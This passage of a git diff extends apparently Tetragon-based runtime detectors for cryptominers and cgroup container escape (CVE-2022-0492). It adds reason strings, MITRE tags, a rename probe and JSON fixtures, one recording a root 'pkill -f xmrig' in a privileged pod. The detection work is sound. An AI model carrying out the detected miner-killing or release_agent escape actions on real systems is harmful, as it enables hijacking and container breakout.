resp.TacticsCovered = mitreTactics + if args == "" { + resp.Reason = fmt.Sprintf(ExecMinersNoArgs, binary) + } else { + resp.Reason = fmt.Sprintf(ExecMinersDefault, binary, args) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected + return resp, nil } } @@ -148,7 +181,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Trigger on explicit miner utility args. for _, ma := range minerArgs { if ma.MatchString(args) { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecMinerArgs, binary, args) resp.Severity = api.DetectResp_HIGH // <-- threat detected + return resp, nil } } @@ -157,7 +193,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe if killingTools.MatchString(binary) { for _, ka := range killArgs { if ka.Match(args) { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecKillArgs, binary, args) resp.Severity = api.DetectResp_HIGH // <-- threat detected + return resp, nil } } @@ -176,459 +215,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): -{ - "process_exit": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3NjE1NzgxMjI1OTk6MjIxNzU1MQ==", - "pid": 2217551, - "uid": 0, - "cwd": "/opt/xmrig/xmrig-6.22.0", - "binary": "/usr/bin/pkill", - "arguments": "-f xmrig", - "flags": "execve clone", - "start_time": "2024-08-15T11:14:57.224332234Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-privileged", - "container": { - "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:18Z", - "pid": 4043, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-privileged", - "workload_kind": "Pod" - }, - "docker": "497809a2cbb0695fbd5383072cfb59e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3MzY1MzMzODc2NTQ6MjIxNzI4Ng==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026532795, - "is_host": false - }, - "ipc": { - "inum": 4026532796, - "is_host": false - }, - "mnt": { - "inum": 4026533178, - "is_host": false - }, - "pid": { - "inum": 4026533284, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533284, - "is_host": false - }, - "net": { - "inum": 4026532797, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2217551, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3MzY1MzMzODc2NTQ6MjIxNzI4Ng==", - "pid": 2217286, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-08-15T11:14:32.179597219Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-privileged", - "container": { - "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:18Z", - "pid": 4012, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-privileged", - "workload_kind": "Pod" - }, - "docker": "497809a2cbb0695fbd5383072cfb59e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3MzY1MzE4NzUxMTU6MjIxNzI4Ng==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026532795, - "is_host": false - }, - "ipc": { - "inum": 4026532796, - "is_host": false - }, - "mnt": { - "inum": 4026533178, - "is_host": false - }, - "pid": { - "inum": 4026533284, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533284, - "is_host": false - }, - "net": { - "inum": 4026532797, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2217286, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "signal": "", - "status": 0, - "time": "2024-08-15T11:14:57.231061804Z" - }, - "node_name": "experts-k8s-cs", - "time": "2024-08-15T11:14:57.231060954Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - - -*/ diff --git a/event-processor/detector/wasm/CS_RT_CRYPTOMINER/testdata/negative_benign_pkill.json b/event-processor/detector/wasm/CS_RT_CRYPTOMINER/testdata/negative_benign_pkill.json new file mode 100644 index 00000000..691c0303 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CRYPTOMINER/testdata/negative_benign_pkill.json @@ -0,0 +1,23 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "binary": "/usr/bin/pkill", + "arguments": "-9 nginx" + } + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CRYPTOMINER/testdata/positive_pkill_xmrig.json b/event-processor/detector/wasm/CS_RT_CRYPTOMINER/testdata/positive_pkill_xmrig.json new file mode 100644 index 00000000..e40fbfc5 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CRYPTOMINER/testdata/positive_pkill_xmrig.json @@ -0,0 +1,469 @@ +{ + "event": { + "node_name": "test-k8s-cluster", + "time": "2024-08-15T11:14:57.231060954Z", + "aggregation_info": null, + "process_exec": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3NjE1NzgxMjI1OTk6MjIxNzU1MQ==", + "pid": 2217551, + "uid": 0, + "cwd": "/opt/xmrig/xmrig-6.22.0", + "binary": "/usr/bin/pkill", + "arguments": "-f xmrig", + "flags": "execve clone", + "start_time": "2024-08-15T11:14:57.224332234Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-privileged", + "container": { + "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:18Z", + "pid": 4043, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-privileged", + "workload_kind": "Pod" + }, + "docker": "497809a2cbb0695fbd5383072cfb59e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3MzY1MzMzODc2NTQ6MjIxNzI4Ng==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026532795, + "is_host": false + }, + "ipc": { + "inum": 4026532796, + "is_host": false + }, + "mnt": { + "inum": 4026533178, + "is_host": false + }, + "pid": { + "inum": 4026533284, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533284, + "is_host": false + }, + "net": { + "inum": 4026532797, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2217551, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3MzY1MzMzODc2NTQ6MjIxNzI4Ng==", + "pid": 2217286, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-08-15T11:14:32.179597219Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-privileged", + "container": { + "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:18Z", + "pid": 4012, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-privileged", + "workload_kind": "Pod" + }, + "docker": "497809a2cbb0695fbd5383072cfb59e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjc3NjE3MzY1MzE4NzUxMTU6MjIxNzI4Ng==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026532795, + "is_host": false + }, + "ipc": { + "inum": 4026532796, + "is_host": false + }, + "mnt": { + "inum": 4026533178, + "is_host": false + }, + "pid": { + "inum": 4026533284, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533284, + "is_host": false + }, + "net": { + "inum": 4026532797, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2217286, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + } + } + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_CRYPTOMINER", + "severity": "HIGH", + "reason_contains": "finish", + "tactics": [ + "TA0002", + "TA0040" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CVE_2022_0492/main.go b/event-processor/detector/wasm/CS_RT_CVE_2022_0492/main.go index 1ca1d4d9..7d859b20 100644 --- a/event-processor/detector/wasm/CS_RT_CVE_2022_0492/main.go +++ b/event-processor/detector/wasm/CS_RT_CVE_2022_0492/main.go @@ -20,13 +20,22 @@ const ( License = "Apache License 2.0" ) +const ( + KprobeWriteNoArgs = "Detected that the `%s` file was edited by the `%s` process, which may indicate an attempt to exploit vulnerability CVE-2022-0492" + KprobeWriteDefault = "Detected that the `%s` file was edited by the `%s` process, which was started using the `%s` arguments. This may indicate an attempt to exploit vulnerability CVE-2022-0492." + KprobeMmapNoArgs = "Detected that the `%s` file was memory-mapped by the `%s` process, which may indicate an attempt to exploit vulnerability CVE-2022-0492" + KprobeMmapDefault = "Detected that the `%s` file was memory-mapped by the `%s` process, which was started using the `%s` arguments. This may indicate an attempt to exploit vulnerability CVE-2022-0492." + KprobeRenameNoArgs = "Detected that the `%s` file was replaced with the `%s` file by the `%s` process, which may indicate an attempt to exploit vulnerability CVE-2022-0492" + KprobeRenameDefault = "Detected that the `%s` file was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments. This may indicate an attempt to exploit vulnerability CVE-2022-0492." +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for // a particular event type, such as "PROCESS_EXEC", leave slice empty or use // wildcard "*". triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate", "security_path_rename"}, // Examples: // @@ -38,12 +47,23 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1611", + }, + }, + } +) + var ( fileRegex = regexp.MustCompile(`(?:release_agent|notify_on_release)$`) ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -51,12 +71,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -90,20 +111,23 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() + function := kprobe.GetFunctionName() + args := kprobe.GetArgs() + path := "" + newFile := "" + action := "" // The first 15 digits of the container ID containerIDPart := kprobe.GetProcess().GetDocker() - functionName := kprobe.GetFunctionName() - args := kprobe.GetArgs() // Empty containerIDPart means that we are not in container environment (vanilla Docker or k8s) if containerIDPart == "" { return resp, nil } - path := "" - - switch functionName { + switch function { case "security_file_permission": if len(args) < 2 { return nil, fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) @@ -111,7 +135,9 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "write" path = args[0].GetFileArg().GetPath() + case "security_mmap_file": if len(args) < 2 { return nil, fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) @@ -119,18 +145,48 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "mmap" path = args[0].GetFileArg().GetPath() + case "security_path_truncate": if len(args) < 1 { return nil, fmt.Errorf("unexpected args len, got %d, want >= 1", len(args)) } + action = "write" path = args[0].GetPathArg().GetPath() + + // Trigger when security function check if renaming a file is allowed. + // https://elixir.bootlin.com/linux/v6.15.7/source/security/security.c#L2005 + case "security_path_rename": + if len(args) < 2 { + return nil, 